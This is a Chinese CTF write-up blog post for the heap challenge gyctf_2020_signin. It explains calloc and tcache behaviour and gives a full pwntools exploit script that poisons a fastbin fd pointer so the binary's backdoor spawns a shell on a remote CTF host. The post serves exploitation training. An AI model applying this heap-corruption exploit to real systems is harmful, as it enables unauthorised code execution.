zoukankan      html  css  js  c++  java
  • gyctf_2020_signin

    calloc

    calloc 有以下特性

    • 不会分配 tcache chunk 中的 chunk 。

    tcache 有以下特性

    • 在分配 fastbin 中的 chunk 时若还有其他相同大小的 fastbin_chunk 则把它们全部放入 tcache 中。

    思路

    题目给了 backdoor 函数,只要全局变量 ptr 中有值,就会执行 system("/bin/sh") ,所以我们解题思路很明确,就是往 ptr 中填值。具体步骤如下:

    1. 首先分配 8 个 0x80 大小的 chunk ,依次 free 掉,这样 tcache 中 0x80 的 chunk 列表已经被填满,还多了一个 0x80 的 chunk 在 fast bin 中。
    2. 分配一个 0x80 大小的 chunk ,这个 chunk 会从 tcache 中取出,这一步的目的是为了在 tcache 留出空位。
    3. 类似 fastbin attack ,将 fastbin 里的 chunk 的 fd 指针改为 ptr - 0x10 处,这样 calloc 将这个 chunk 分配出去时,就会认为 fd 指针对应的也是一个 chunk ,会把这个 chunk 放入 tcache ,而 tcache 中是以 fd 指针连接的,这样 ptr 的值就会被修改为某个 fd 的指针。这样我们就能执行 system('/bin/sh') 拿 shell 了。

    exp

    from pwn_debug import *
    
    context.log_level = 'debug'
    
    pdbg = pwn_debug('./gyctf_2020_signin')
    pdbg.remote('node3.buuoj.cn',28300)
    pdbg.local('/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so','/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-linux-x86-64.so.2')
    #r = pdbg.run('local')
    r = pdbg.run('remote')
    
    def add(idx):
        r.sendlineafter('your choice?',str(1))
        r.sendlineafter('idx?',str(idx))
    
    def edit(idx,context):
        r.sendlineafter('your choice?',str(2))
        r.sendlineafter('idx?',str(idx))
        r.send(context)
    
    def delete(idx):
        r.sendlineafter('your choice?',str(3))
        r.sendlineafter('idx?',str(idx))
    
    add(0) 
    add(1) 
    add(2) 
    add(3) 
    add(4)  
    add(5)
    add(6)
    add(7)   
    
    delete(0)
    delete(1)
    delete(2)
    delete(3)
    delete(4)
    delete(5)
    delete(6)
    delete(7)
    
    add(8)
    payload = p64(0x4040c0-0x10).ljust(0x50,'x00')
    
    #gdb.attach(r)
    
    edit(7,payload)
    
    #gdb.attach(r)
    r.sendlineafter('your choice?', '6')
    r.interactive()
    

    内容来源

    i春秋公益赛之signin

  • 相关阅读:
    android:重写返回键动画
    获得今天零点时间戳(转)
    【转】完美解决Android 9.0以上HTTP网络请求被限制问题
    Java的三种取整方法
    thymeleaf控制checkbox的选中状态回显
    thymeleaf控制checkbox的value值
    Supervisor 简单使用
    关于Requests代理,你必须知道的
    py-spy 常见问题及使用说明
    记一次Scrapy进程卡死的Debug过程
  • 原文地址:https://www.cnblogs.com/luoleqi/p/13473995.html
Copyright © 2011-2022 走看看